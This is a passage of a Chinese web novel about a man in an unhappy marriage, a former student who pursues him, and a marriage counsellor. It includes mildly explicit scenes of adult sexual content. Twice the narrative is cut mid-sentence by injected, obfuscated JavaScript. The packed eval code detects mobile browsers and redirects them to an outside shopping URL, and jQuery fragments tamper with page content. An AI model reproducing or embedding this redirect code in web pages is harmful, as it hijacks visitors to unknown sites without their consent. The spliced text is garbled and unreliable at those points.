谢念慈下床,关上卧室的灯,进到卫生间换下了那身衣服,裹着浴袍,躺回林承望的身边。他紧紧靠着林承望的后背,结实温暖的后背,正在有规律的起伏,四周皆是茫茫一片黑暗,关了灯,家具和挂在衣架上的东西都成了鬼,陪着他度过这漫长的一夜。 第二日他们很早就起床了,林承望看着他眼下的青黑,问:“脸色好差,宝宝昨晚没睡好吗?” 谢念慈正在收拾昨晚的保温桶,随口道:“嗯,我认床,住酒店总是睡不好。” 林承望正在系领带,西装修身得体,衬得他十分精神,领带是酒红色的,与黑西装相得益彰,里头的衬衫雪白无尘。谢念慈见他怎么也系不好,便放下手里的饭盒,擦了擦手,帮丈夫系了一个漂亮的温莎结。 “几点的飞机?”林承望双手得空,立马拿起了一旁的手机,一边打字,一边问谢念慈。 “中午十二点的。” “我待会让小夏送你。” “不用了,我打车就好,小夏天天跟着你跑来跑去,已经够累了。” “好,你注意安全。” “嗯。” 无话可说。 谢念慈其实有很多话想说,但他想说的话,林承望都不感兴趣。这几年来,林承望唯一感兴趣的东西,恐怕只有林氏的股票。大到谢念慈画室的财务情况,小到儿子的一日三餐,都不在林承望的考虑范围之内,他似乎彻底被工作困住了,谢念慈一开始试图跟上他的节奏,但很快发现,他们已经是两个世界的人了,明明才结婚五年而已,连异国恋都能撑过去的他们,竟然也会在婚姻面前一败涂地吗? 谢念慈拉着行李箱走出电梯,看到林承望西装革履,身边围着很多人,其中有一个格外耀眼的男生,有一双眼尾上翘的桃花眼,还有两个小小的酒窝,衣着时尚,西装的裁剪极好衬托了纤瘦的身材。男生神采飞扬,似乎说了一个笑话,声音甜甜的,林承望和其他的男人都在笑。 他低下头,看见自己微微发皱的衬衫、阔腿裤,心中自嘲一笑。 三十一岁,说到底,也不算年轻了,至少在爱情这种大多由年轻荷尔蒙激起的事物面前,已经算不得什么了。时间一久,再是花容月貌,也会渐渐在爱人眼中变得普通、平凡,以至于泯然众人,甚至面目可憎。网上有所谓的婚姻学大师说,珍惜总好过惋惜,要珍惜夫妻之间的美好回忆,但记忆真的能抵挡得过时间的侵蚀么? 谢念慈转身离去。 直到他上了飞机,林承望才发来消息:【宝宝,上飞机了吗?回到家记得和我说一声。爱你。】 谢念慈给林承望设置了消息免打扰。 随后他点开好友兼画室合作人黄瑞的头像,发消息道:【瑞,你有认识的心理咨询师吗?最好是那种擅长处理夫妻关系的。】 旋即关机。 闭眼,睁眼,两个小时转瞬而过,谢念慈在飞机上浅浅睡了一觉,做了一个很长很长的梦,梦似乎没有尽头,一会儿是他在等林承望,问所有人林承望去哪了,那些人就用一种很古怪的语气说,那不是你老公吗?为什么不看好你自己的老公呢?一会儿又跳转回他们刚刚结婚,他跟着林承望去林家老宅参加宴会,夫人们围坐一团,分享着八卦,忽然其中一个人抬起头,对他说,男人嘛,在外面玩一玩很正常的咯,都嫁入豪门了还惦记那点小情小爱?也是蠢。 一下飞机,黄瑞的夺命连环call就打过来了,这男的真是话痨,叽叽喳喳个不停,大惊小怪道:“卧槽,你别吓我!阿慈,你找婚姻咨询师干嘛?林承望皮痒了和你吵架?我跟你说,他这种男的你就不能贴上去,他不理你你不理他,他和你吵架你也不理他,你就是脾气太好了……” 谢念慈坐上自己的路易斯,缓缓开出停车场,一上高速就堵了车。 他说:“没有吵架,就是……他太忙了,我不懂该怎么去适应他不在的生活。” 黄瑞明显被他无语到了:“他不在你就自己玩呗,你儿子又不是没人带。我跟你说,多出来玩,多喝酒,包管把你那个老公忘得干干净净,他给你那么多钱,你就使劲地玩,才不辜负人生嘛!” 谢念慈说:“你对象同意你喝酒了?” 黄瑞一噎,忿忿道:“算了算了,我刚好认识一个专门咨询婚姻的,处理过不少这种豪门夫妻关系,我一会儿把人家推给你。” 谢念慈打开手机,看见黄瑞给他推了一个账号。 【婚姻危机干预】 【专注感情修复,针对性1v1指导。】 他看了看,终究还是没有点进预约的页面。 他以为他和林承望不会走到这一步。 B市每天都在堵车,早高峰晚高峰,堵堵堵,堵到吐,马路上全是车,地铁里全是人,一环接着一环,城市道路密如蛛网,将人牢牢黏在上面,永生永世不得挣脱。谢念慈时不时听到一声刺耳的鸣笛声,但更多的,是麻木。这个城市里的人已经习惯了堵车,习惯了通勤四个小时的人生,耗尽青春,攒下的钱还不够付一套四环内房子的首付。但人们依旧乐此不疲,或者说,麻木不仁。 不想回家,不想见林承望的父母,不想让儿子见到自己糟糕的模样,还能去哪儿? 他回到画室时,已经是晚上六点。 画室灯火通明。 路过艺考生的大画室,里头时不时传出爆笑声,他脚步一顿,推开门,看到学生们围着蒋淳嘻嘻哈哈个不停。蒋淳面前是画架,拿着笔挨个点评画架上学生们的速写作品,说一句,学生们笑一阵。 蒋淳说:“你这小孩画得又老又小的,打点羊胎素吧。” 学生们吃吃地笑。 接着又敲敲另一幅:“你能不能把他画得像个人,最起码他得是人,好吧?” 谢念慈也忍不住笑。 他想他应该单独请蒋淳吃一顿饭,看得出,前天的生日惊喜这个男生早有准备。 忽然,蒋淳若有所感,从学生的包围圈中抬起头,朝他看来,眉眼弯弯笑了一下。谢念慈发现这个学生的眼睛很黑,沉沉的黑,好像藏着很多心事,欲语还休,一眨不眨看着人时,能让人心头咯噔一声。 蒋淳看着他,眼睛一错也不错,看得他有些脸热,连忙检查了一下衣服,却没发现任何问题。蒋淳一边看着他,一边说:“我来给大家做个示范吧。” 说着,铅笔在空白的纸上扯出几根线条,便是一个简陋的门框,又轻描淡写划下几条弯曲的线,勾勒出脸庞、身形——不过几分钟,一个倚着门框的人跃然纸上,虽说面目模糊,但身形美好、体态优雅,令人遐想万分。 “蒋哥,你在看什么呢?”一个学生笑着说,顺着蒋淳的视线回头。 谢念慈哪里看不出这人在画自己? 人像速写,可以是生活中的任意一个人,某一瞬间的动作,谢念慈对画作中透出的感情相当敏感,蒋淳方才不过寥寥几根线,并非在给学生们展示,而是在给他展示,告诉他,我在画你,只用几笔,我就能勾出你的形象。 这个认知让谢念慈脑中轰地一声炸开,当即合上画室的门,在学生们疑惑的声音中快步上楼。已是初夏,画室外一片绿茵茵,太阳彻底坠入了都市,天是幽幽的蓝,却还未凝成黑丝绒一般的黑夜,那蓝仿佛有生命似的,漫上高楼大厦,LED灯幕也无法阻止蓝的蔓延,树木、窗户、地板……包括他谢念慈,那么的蓝,漫无目的,直到他逃入办公室。 他没开灯。 他不喜欢开灯。 他全身心沉浸在日落后的二十分钟里,心剧烈地跳,脑中思绪纷杂。他想他一定是疯了,怎么会觉得一个学生看向他的眼神不对劲?即使他也不是没收到过来自学生的匿名告白信,但如此热烈的眼神,他从未见过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146435|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一定是他的错觉。 他这几日没睡好,脑子满是乱七八糟的事。 一定是他看错了。 但蒋淳为什么要记得给他过生日呢? 他又不只是帮助了蒋淳,这一批的大四生,留在画室工作的就有三个,蒋淳很出众,但也没有出众到令人目眩神迷,他也没有说是给蒋淳介绍了纯艺界的大佬,给蒋淳资源单独办画展……别的学生都没有这样,只有蒋淳这样,仅仅是因为蒋淳知恩图报吗? 他一时气上不来,眼前一阵发黑,赶紧坐到了办公桌前。 办公桌右下角压着几张拍立得照片。 第一张就是他一个人双手拢在心口,闭眼许愿的照片。 他随意翻了翻照片,才发现集体照里没有蒋淳,这个男生像一个幽灵,徘徊在照片之外,笑着,眼睛一动不动看着他,明明不在,但存在感却极为强烈,就好比现在,蒋淳并不在他身边,在楼下的画室,谢念慈却仿佛能透过地板,看到男生炙热的、跃动的眼神,周遭都是蓝色的,唯独只有男生的眼神如落日一般鲜红。 一定是他多想了。 黄瑞说得对,他应该多出去玩,多找人去清吧喝酒,少胡思乱想。 敲门声蓦然响起。 锵锵锵。 三声。 “是谁?” 谢念慈警觉。 “是我。”男生说,“蒋淳。” 怎么又是你。 这几天都是你。 甚至谢念慈开始回忆这几个月,蒋淳一直都在,离他不远不近的那个距离,目光炙热又隐蔽。 但办公室里好安静,像他和林承望的那个家一样安静。 谢念慈说:“请进吧。” 蒋淳推开门,走廊的灯光被他高大的背影挡在门外,办公室里漆黑一片,只看见蓝黑之中坐着一个模糊的身影。 “小蒋,你有事找我?”谢念慈语气疲惫。 蒋淳在墙上摸索开关,咔哒一声,灯光大亮,谢念慈斜坐在办公桌前,扶着额头,双眼紧闭,眼下是淡淡的青黑。 “老师你脸色不好。”蒋淳说,“我上来看看。” 谢念慈睁开眼,看着男生,说:“多谢你的关心,但小蒋,我觉得你有点……” “我怎么了?”蒋淳一步一步走过来。 谢念慈说:“你有点过界了。” 蒋淳问:“我让老师为难了?” 谢念慈有点烦躁,估计是这两天没睡过几个好觉,头晕沉沉的。他猛地起身,面露少见的严肃,直视蒋淳的眼睛,说:“我不清楚你在想什么,前天晚上你给我买蛋糕,我很感激,也很感动,但也仅限于此。蒋淳,你是学生,我是老师,我们应该保持一定的距离……” “我已经拿到毕业证了。”蒋淳说。 谢念慈一愣:“你说什么?” 蒋淳重复一遍:“我已经拿到毕业证了,你现在是老板,我是你的员工。” 谢念慈睁大了眼睛:“我已经结婚了。” 话音刚落,眼前隐隐发黑,他实在撑不住,跌回座椅上,脸色苍白得吓人。 “老师你还好吗?”蒋淳面露焦急,大步上前,握住了他的手腕。 谢念慈险些叫出声,蒋淳的手非常热,炙热,灼热,紧紧环着他的手腕。他心头一瞬慌乱,要挣脱蒋淳的手,一面挣扎一面说:“不碍事,低血糖而已,我待会吃点东西就好……蒋淳,请放开手……不要和我拉拉扯扯的,别人看到了说不清……” 谢念慈才发觉他这一天什么东西也没吃。 估计低血糖犯了。 早上的那一幕在他眼前剧烈晃动,头又晕得厉害,委屈与孤独一瞬彻底淹没了他,眼泪汹涌而出。 他哭得厉害,撑着自己的额头,搞不懂人生怎么被自己弄得一团糟,他不敢去想林承望是不是出轨了,如果真的出轨了,他该怎么办?小鱼呢?他不想让小鱼被判给林家…… 眼前骤然一黑,他被人挡住了。蒋淳弯下腰,一只手轻轻扶着他的肩膀,对他对视。男生身上有着洗衣液、剃须水和铅墨混在一起的气味,穿了一件白T恤,T恤之下是年轻健壮的身体,不断向外散发着暖意,而手掌堪称滚烫。谢念慈只觉得自己要被烧起来了,每一寸和男生接触的肌肤都在战栗,他甚至没有推开蒋淳的力气…… 他有多久没感受到这种生命力了? “谢老师,想哭就哭吧。” 蒋淳贴在他的耳畔,轻轻说话。 谢念慈闭上眼睛,试图甩开男生搭在自己肩头的手,语气严厉:“这不关你的事,蒋淳,请你自重。” 蒋淳非但没有被甩开,反而握得更紧了,一字一句说:“我知道不关我的事,因为你有自己的家庭、丈夫、朋友……但你这几个月总是会在露台上发呆哭泣,他们都去哪了?谢老师,我没有恶意,如果你不愿意,我也不会逾矩,我只是想问一问你,你快乐吗?你幸福吗?如果不快乐的话……想哭就哭吧,无论你说什么、做什么,我都会替你保密,因为我……” 想要你。 4. 第 4 章 蒋淳喉结一滚,将那三个字咽了下去。 不能说出口,至少现在不能。 他仅仅只是靠近了谢念慈,就把人脸都吓白了,此时被他圈在座位上,满面震惊,泛紫的嘴唇微微颤抖,眼眶湿润,几缕发丝黏在脸颊,看得他想要将它们别到谢念慈的耳后。 谢念慈抖着唇说:“你知道自己在说什么吗?” “我知道。” 蒋淳语气很轻,生怕把人吓跑了。 “我知道我们是师生关系,也知道老师已经有爱人了,但我没办法控制我的心。老师一出现在我的面前,我就忍不住想要关心老师,这不是我能控制的……但我不会越界、不会让老师为难,我只是想知道你为什么难过。” 谢念慈别过头,冷冷道:“对不起,这不是你该知道的事,我是一个老师,也是你的老板,没有必要将私事带到你的面前,也不需要你一个学生的安慰……”他睫毛微颤,又是一串眼泪滚落,“再说了,你一个才毕业的大学生能安慰我什么?” 没有真正走进婚姻的人,怎么能体会到那种窒息的感受,力不从心,无处可逃。更何况他已经和林承望完全绑死了,儿子,名声,一切…… “我知道,你们年轻,觉得不过是结婚而已,大不了就是离婚,或者觉得我这种……有夫之妇有点意思,所以一时兴起,跑过来和我说这些好听的话。但是蒋淳,我已经结婚了,法律上我是我丈夫的妻子,我有必须尽到的责任与义务,还要照顾一个三岁的小孩,我不能给我的孩子带去恶劣影响,让别人说他的母亲不检点……请你放弃吧,我可以当作今天的事没有发生过,我们依旧是师生。” 谢念慈每说一句,心里便有一根刺在扎他,那根刺一面扎他,一面小小声说,那林承望呢?林承望尽到丈夫的责任了吗?他有事业,你也有事业,但照顾儿子、安抚他的父母不都是你在做吗? “老师昨天去G市,是为了见爱人吧?”蒋淳冷不丁说道,“千里迢迢只为见爱人一面,不应该感到幸福吗?可为什么老师脸色这么差,甚至还在流眼泪?如果结婚了却没办法感到幸福,那为何还要苦苦把自己框死在里面呢?” 谢念慈:“你不懂,你……” 蒋淳见他已经濒临极限,一只手捂着脸,眉头紧皱,咬着唇低泣,似乎一句话也不想说,便知道自己将人逼得太紧了。打完那一通电话,他是妒火中烧,再经过一夜的发酵,已然将理智吞噬殆尽。他跟自己打赌,如果谢念慈是笑着回来的,他就再忍下去,如果谢念慈脸色糟糕,他也就索性摊牌不装了…… 只要谢念慈婚姻不幸福,他就有可乘之机。 “对不起,老师。”蒋淳坐实了自己的猜测,不再咄咄逼人,而是后退了几步。 他从裤兜掏出几颗糖,放在谢念慈的桌子上,晶莹剔透的糖纸包裹着橘黄色的硬糖,还带着他的体温。 “是我不好,一看见你难过,心怎么也控制不住……老师你说得对,我是学生,不能过界,但……只要能继续见到老师,我做什么都可以。” 谢念慈皱眉:“我不需要你做什么,你只要好好生活,和同龄的人多接触,早日找到自己真正喜欢的人,对我而言,比什么都好。你是我的学生,我真心希望你过得好。” 蒋淳:“嗯,谢谢老师,我会努力的,请把刚才的事忘记吧。” 说完,转身离去。 谢念慈看着男生的背影消失在门后,心里仿佛落了一块大石头,但旋即又提起了心。他垂眸看向桌上的那几颗糖,犹豫片刻,实在抵不过低血糖引发的头晕,剥开一颗放入口中。 这糖还是暖的。 应该是被体温捂化了,外表与糖纸有些粘连。很老式的一种小粒硬糖,谢念慈学生时代也吃过,千篇一律的香精味,说不上特别好吃,但早读犯低血糖时来一颗刚刚好。糖纸是透明的,在光下折射出绚烂的色彩。他十几岁时也是闲得慌,吃完糖,把糖纸洗干净,折成小小的千纸鹤,几年时间攒了一大罐,可惜后来搬家的时候搞丢了。 糖在舌尖化开,味道有点奇怪,但味蕾很容易被甜味取悦,哪怕是食品工业调配出的廉价糖精,只要有一点点甜,便觉得能再撑一撑。 他吃完糖,起身,打算去林承望父母的庄园接儿子。 …… 此后的几天,风平浪静。 谢念慈的人生仿佛回归了正轨,和保姆阿姨一起照顾小鱼,等林承望回家,评选毕设作品,布置毕设展览……他和蒋淳还是抬头不见低头见,只不过男生恢复到了之前不远不近的距离,站在人群里,看向他的目光沉静而温和。 那几颗糖他揣进牛仔裤的口袋,忘了拿出来。他随手丢进洗衣机,保姆阿姨也没注意,糖全化了,那一条裤子完全不能要了,裤兜处一大片洇开的糖渍,黏糊糊的,泛着一股香精分解后的奇怪气味。不过是一条裤子而已,他也不会怪阿姨,扔了再卖新的就好。 毕设展览的布置十分琐碎,油画系今年有好几幅大尺寸的毕业设计,尤其是蒋淳的那幅飞天,一个人还不好搬。 展览前一日谢念慈也去了,给学生们打下手。蒋淳的画还没挂上去,人也没来,挂画的师傅很急,他只好和师傅一起搬画框。不料后退时他没注意,踉跄了几步,险些摔倒,却没能摔倒,被一个结实的身体撑住了。 是蒋淳。 夏天就那么两层布料,彼此之间的温度瞬间互相渗透,蒋淳的体温还是那么烫。谢念慈眼睁睁看着男生的手扶到画框上,离他的手很近很近,不过半个手掌的距离,忽然,那手向下移动,轻轻握住了他的手,手心贴着手背,将他的手完全覆盖,随后又若无其事继续下移,指尖划过他的指缝,一触即分。 “老师,让我来吧。”蒋淳在他耳畔说道,热气丝丝缕缕缠着他的耳廓。 谢念慈能感受到男生说话的胸腔微微震动,震得他大脑嗡鸣,分不清是窗外的蝉鸣,还是男生低音。他跟触电了似的,从男生怀里跳开,退到几步之遥,胡乱整理着自己的鬓发。他忍不住左顾右盼,生怕被人瞧见了。但那真的是不过是几秒钟的事,连一旁的师傅都没注意到,只当两个人撞了一下,蒋淳也一脸正直,仿佛刚才的触碰只是谢念慈的错觉。 那不远处的那个女生呢? 或者他们右手边的男生…… 会不会有人多想? 他想,他一定是疯了。 空虚,寂寞,才会草木皆兵。 下午他去接小鱼放幼儿园,小孩乖乖坐在门口等他,脸颊圆鼓鼓的,手感相当之柔软。小鱼的大名是林羽宸,眉毛和眼睛像谢念慈,鼻子像林承望,很乖巧讨喜的长相,性格也好,一副小大人的模样,基本上不会大哭大闹,最多是把脸埋进妈妈或者阿姨的怀里,默默掉眼泪,哄高兴了才肯抬头。 小鱼见了他,露出一个大大的笑容,噔噔跑上前牵住他的手,撒娇说:“妈咪,我一天没见你了,好想你哦。” 谢念慈把儿子抱起来,大脸贴着小脸,鼻间是小孩身上淡淡的奶味,说:“真的吗?是只想妈咪一个人,还是想妈咪,想覃覃阿姨,想爷爷奶奶,想爸爸呢?” 小鱼皱起鼻子,想了很久,才斯斯艾艾说:“想妈咪和覃覃阿姨。” “不想爷爷奶奶?爷爷奶奶前几天才带你去庄园骑马欸。” “想啊,但是没有想妈咪和覃覃阿姨那么想。” “爸爸呢?爸爸要是知道小鱼不想他,会很难过哦。” “嗯……”小孩皱起脸,努力思考了一会,说,“好吧,那我也想爸爸。” 谢念慈抱着儿子,掏出手机,点开林承望的消息框,发现他们上一次互相说话,还是在周三。林承望和他说,这周回不来了,他说,好。 “来,小鱼和爸爸说一句话吧。” 他长按消息框,让儿子对着手机说话。 小鱼很是忸怩,紧紧拽着他的领子,细声细气说:“可我不知道该和爸爸说什么。” “就说,小鱼很想爸爸,问爸爸能不能早点回家。” 小鱼磕磕绊绊复读了一遍。 谢念慈发出语音消息,心却是一沉再沉。父母之间的关系对孩子影响深远,尤其是心思细腻的小孩,夫妻之间的任何风吹草动,都可能给小孩的成长带来隐患。他曾经一度很怕生小孩,害怕自己成为扫兴的妈妈,对儿子的人生过度干涉,所以一直在学习,学那些所谓先进的亲子理论:不要把婚姻的惨淡推到孩子身上,不要把坏情绪带给孩子,不要在孩子面前说另一半的坏话…… 但至始至终,好像只有他一个人做到了。 而林承望只需要赚钱就好。 接完孩子,他带小鱼去和林承望的父母吃饭,每周五的惯例。 林承望的父亲林高格是个传奇人物,九十年代从国企辞职下海创业,生意做得风生水起,零几年又抓住了房地产的风口,生意越做越大,零八年经济危机又急流勇退,保得家产,自此成为了房地产大亨。而林承望的母亲骆秀,名门出身的大家闺秀,嫁给林高格近四十年,一直担任家庭主妇以及组织夫人社交。 餐桌上,骆秀问他:“承望还没回来?” 他说:“嗯,推到了下周。” “哦,这样啊。”骆秀语气平淡,“说起来,小鱼也三岁了,要给他生一个弟弟或者妹妹的话,最好就这几年吧,兄弟姐妹之间年龄拉大了也不好。小谢,妈认识一个老中医,周末带你去看看,让他帮你调理调理身子,你怀孕时动不动生病,身子太差了,该好好养养了。” 又来了。 谢念慈喝了一口汤,浓浓的药膳味,喝得他反胃。他说:“妈,最近学校里忙,学生们搞毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146436|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设展呢,这周末我可能没空。” 骆秀没回应,低头姿态优雅舀着汤,一旁的林高格发话了。老人戴着老花镜,正翻看着财经报纸,闻言抬起头,不冷不淡说:“念慈啊,爸妈对你的工作没意见,就是不明白你一个教画画的哪来这么多事,实在不行,就歇几年,先把小鱼好好带大,二胎嘛,不着急的。”说完,老人对小鱼笑笑,问,“小鱼,你想不想要一个弟弟妹妹啊?” 小鱼摇头。 林高格倒也不尴尬,继续翻看报纸。 尴尬的却是谢念慈。 他不喜欢林承望的父母,正如他们也不喜欢他,每次吃饭的话题无非都是围绕生孩子和林承望进行,他引以为傲的艺术事业,在林父林母口中不过是儿媳的一个好听的头衔。 小鱼周末呆在林父林母的别墅。 他独自开车回家。 回家,喝酒,洗澡,躺到床上,不想刷手机,也不想画画,他爬起身,打开一旁的床头柜,取出偶尔用来解闷的东西。林承望不太喜欢用道具,总是拿着这些东西问他,自己和这种东西哪个厉害。 如果林承望在,那就是林承望厉害,但他不在,谢念慈只能靠玩具聊以紫慰。 他重新躺回床上,按下按钮,撩开睡裙的裙摆,轻轻咬住了下唇。 玩具发出嗡嗡的细鸣,很快他蜷缩起了身子,两颊漫上绯红,裙摆和床单都有了湿痕,但不够,仍然不够,他想要拥抱,想要令人脸红的情话,想要纠缠不休的亲吻……他一点一点挪到林承望的枕头上,脸埋在里面,却发现没有一丝一点丈夫的气息,眼前渐渐浮现出点点白光…… …… 蒋淳晚上和舍友搓了一顿,没回宿舍,而是坐地铁去到几站外的单身公寓。 这个公寓他大三的时候就开始租,颜料、画架、参考模型包括单反相机,全部放在这个地方,前几天他把宿舍里的东西搬了个七七八八,以后的日子,他就暂时在此生活了。公寓不大,四十多平,推开门,麻雀虽小五脏俱全。房东用木板隔开了起居室和卧室,墙刷了浅浅的绿色,家具齐全,蒋淳自己买了一懒人沙发和锅碗瓢盆,他又有点洁癖,到处收拾得干干净净,颜料按色谱摆放,堆满了一个置物架,朝阳的窗户前还养了几盆多肉。 这两年他经常来这里过夜,一个是舍友实在不讲卫生,常常熏得他连夜出逃,无处可去,便租了这间屋子,另一个是……不方便。他没有那种舍友在打游戏吃饭,他拉起床帘做手活的习惯,通常都是回到这里解决生理需求。 他不是没有想过未来。 如果他真追到了谢念慈,该怎么办? 他的家境并不出众,大学四年,除了上课、画画,就是在打工,接各种美术外包、去别人画廊打临工,在学生会外联部活跃。如果谢念慈不留他,他也能找到别的工作,甚至更好的工作,朋友有创业的打算,问他要不要一起,他却回绝了。说白了,一切都只是为了接近那个人。 蒋淳想起早上那一瞬的接触,躺到了床上。 谢念慈很瘦,靠在他身上的时候,能明显感受到蝴蝶骨和背脊的骨感。他只需要轻轻低头,便能看到谢念慈掩在衬衫领子之下的锁骨。谢念慈,谢念慈,谢念慈……单单从欣赏的角度,蒋淳觉得谢念慈的肩颈线条堪称完美,那么纤细,那么单薄,又暗暗隐含着一股力量,肤色也很好看,白里透红。他突然就明白浮世绘仕女的美了,脖颈确实很美,它链接着人的大脑与身体,链接着人的爱与欲。 他也会幻想谢念慈脱下衣服的模样。 肩膀会是什么样的?躯干呢?被长裤遮住的腿呢?被那个面目模糊的男人抱在怀里时,又会是什么样子?真是奇怪,谢念慈的丈夫经常荣登各大财经杂志封面,甚至蒋淳搞外包时也设计过那个男人的封面,但他就是记不住。 他一看到那个男人,就会想起谢念慈,无法抑制,无法克制。 他总是想着谢念慈的所有事,自我安慰。 今天也是一样。 …… 谢念慈咬住丈夫枕套的一角,浑身颤抖,在眼前的白光之中,他恍惚看到了一只手,手指修长、骨节分明,手背隐隐浮着青筋。那只手和他一起扶着画框,缓缓下移,包住他的整个手掌,十指逐渐相交。 床单湿了一大块,枕头也不遑多让,全是他眼泪……他不可置信地猛然起身,玩具啪嗒一声掉在床上,眼前一片漆黑,窗户开了一点用来透气,晚风轻轻吹起窗帘的一角,城市绚烂的夜景若隐若现。 等意识到那是谁的手,他身体一瞬僵硬,颓然倒在床上,左手捂住了脸,良久无言。不知过了多久,他微微抬起手,无名指上的戒指闪过一丝冷光。 他拿起枕头旁的手机,开机,恰恰好就是聊天软件的页面,往下轻轻一滑,“油画系xx级蒋淳”赫然在目。 5. 第 5 章 谢念慈盯着蒋淳的头像,半晌无言。 他翻了一个身,手再一次探入裙摆。 这样不好。 哪怕知道思想是游离的,年少意识刚刚萌发的时候,也会幻想过林承望以外的人,但那不一样……他是怎么了? 这样不好。 不能再这样下去了。 他猛地起身,再一次点开了那位婚姻咨询师的公众号,往下划,看见好几篇文章,随意点进一篇,作者自述是位家庭主妇。 【一度和丈夫相处得很痛苦,大学的时候相识相爱,未婚先孕,克服万难走到一起后,没过几年,他却对我不再感兴趣了。我和丈夫维持了三年的无性婚姻,互相冷战,双方都不舒服,去年我还撞见丈夫和女下属幽会……还好认识了万老师,万老师虽然是位少见的男性咨询师,但脾气非常好,说话很温柔,一直在开导我……现在我和丈夫的关系已经好转了,过得非常幸福。】 不离婚么? 出轨这种事,绝对不能原谅的吧? 这个万逸老师……真的连这种家庭都能劝回来吗? …… “您好,请问有预约吗?” 前台的女生笑容璀璨,对谢念慈浅浅鞠躬。 谢念慈戴着口罩墨镜,声音有点沙哑,他说:“是,预约了今天下午三点,万逸老师的婚姻咨询。” “万逸老师吗?”女生笑容不变,打开了电脑,“请稍等片刻,我核实一下信息。” 谢念慈在女生操作的间隙,略略拉开一点墨镜,打量这家心理机构。装潢内敛温馨,窗外正对着B市地标,外头的天空阴沉沉一片,内里的私密性很好。女生登记好信息后,将他带入一间无人的咨询室,递上冰好的柠檬水,请他稍等片刻。此地坐落于B市繁华地带,光是一个月的租金就不便宜,这位万逸的咨询费一个小时大几千,甚至他差点预约不上,还是拜托了黄瑞。 大概到了三点左右,一个西装革履的男人夹着公文包走了进来。男人戴着一副金丝眼镜,容貌俊朗,浑身上下一尘不染,给人一种专业且精英的气质,嘴角却噙着一抹柔和的微笑。 “您好。”万逸在他对面坐下。 谢念慈摘了墨镜和口罩,神色寡淡,哑声道:“万老师你好,我姓谢,很高兴见到你。” 万逸伸出手,与谢念慈握了握,笑说:“我也很高兴见到您,谢先生。请问您想咨询哪一些事?哦,对了,请您放心,我们机构的保密做得非常好,有口皆碑,不会有你我以外的任何人知道您的情况。同样的,在咨询过程中,您有不舒服的地方请及时提出,不要憋着,祝合作愉快。好了,您请说吧。” 谢念慈有些紧张,他的双手绞在了一起,垂下眼眸,问:“什么都可以说吗?” 万逸点头:“什么都可以。” 谢念慈轻轻道:“我……不知道该怎么起头。主要是我和丈夫之间的关系,我们有一个三岁的孩子,他工作很忙,我们已经半年没有亲密过了,我很害怕。” “就是这样,您接着说。” 话闸一旦打开,便怎么也止不住。谢念慈从他和林承望的第一面说起,高二时他为了逃避体育课,借口肚子疼,躲在音乐教室里画速写,画起来就忘了时间,一抬头,一个男生站在钢琴前,似乎站了很久很久,对他笑,问,我可以弹琴了吗? 之后的事,和所有老套的青春恋爱故事没什么两样,相知、相恋、高考……谢念慈考上了B市美院,大三去到列宾美院交换,林承望在美国,异国恋维持了有七年。大概正是因为异国恋,每一次见面都弥足珍贵,他们爱得很深,林父林母屡次阻挠也不能将他们分开。 直到结婚。 所有人都给他们送上祝福,庆祝他们的爱情长跑胜利,好似一只土里的蝉熬了十几年,终于破土而出,发声高歌。 但蝉终究是蝉,用短短一个夏天交尾、繁衍后代,然后嘎巴一声,结束它漫长又短暂的一生。 “……从去年起他开始频繁出差,我们早晚还会互相打电话,他早上会打电话叫我起床,我晚上会打电话催他睡觉……但到了今年,我们常常好几天才发一条消息。他到处飞,一大半的时间都在G市,敷衍我,对我很冷淡,我不清楚究竟是他太忙了,还是……他出轨了。” 万逸在谢念慈倾诉的过程中一直在本子上写写画画,听到“出轨”两个字,他神色严肃抬起头,问:“谢先生,您有证据吗?” 谢念慈摇头:“只是怀疑……我太害怕了,害怕失去他,看见年轻漂亮的人接近他,心里惶惶不安,晚上也睡不着,总觉得别人意图不轨。”他面露苦笑,“万老师,我是不是疯了?明明已经得到了很多,靠着丈夫实现了阶级跨越……但我还是怀疑他出轨。” 出轨。 万逸没有说话,似在沉思。 谢念慈垂下眼眸,紧紧攥住了衣角,问:“对了,万老师,如果性幻想的对象不再是自己的爱人,算不算精神出轨?” 万逸抬眸,看了他一眼,镜片后的眼睛黝黑冰冷,与脸上温柔的笑容格格不入。万逸说:“精神出轨本来就是一个很微妙的定义,谢先生是怀疑您丈夫有了新的……性幻想对象?所以怀疑他出轨了?” 谢念慈轻轻咳了一声,掩饰慌乱:“没有没有……我只是……有点好奇。” 万逸温和笑笑:“没关系,您可以问任何问题。不过,谢先生,我想问您,您的目标是什么?是修复这段婚姻,还是想让自己舒服一点?” 谢念慈有些疑惑:“这有什么区别吗?” 万逸笑了笑:“不瞒您说,我的客户主要就是面向您这一类的……豪门太太。客户的诉求千奇百怪,有人要求我让她的丈夫回心转意,有人要我去和她一起打小三,而有的人只是想舒服一点。您知道吗?曾经有一位女士和我说,她在外面恋爱,就是为了能在丈夫面前和颜悦色,甚至她找到了真爱……这便是其中一种让自己舒服的方法了。有钱人的婚姻,大多是为了利益,既然如此,各玩各的,也不是什么坏事,表面上的名声保住了,夫妻之间也算和谐,也不失为一种解决方法吧?” 谢念慈失声道:“这不也是……” 出轨吗? 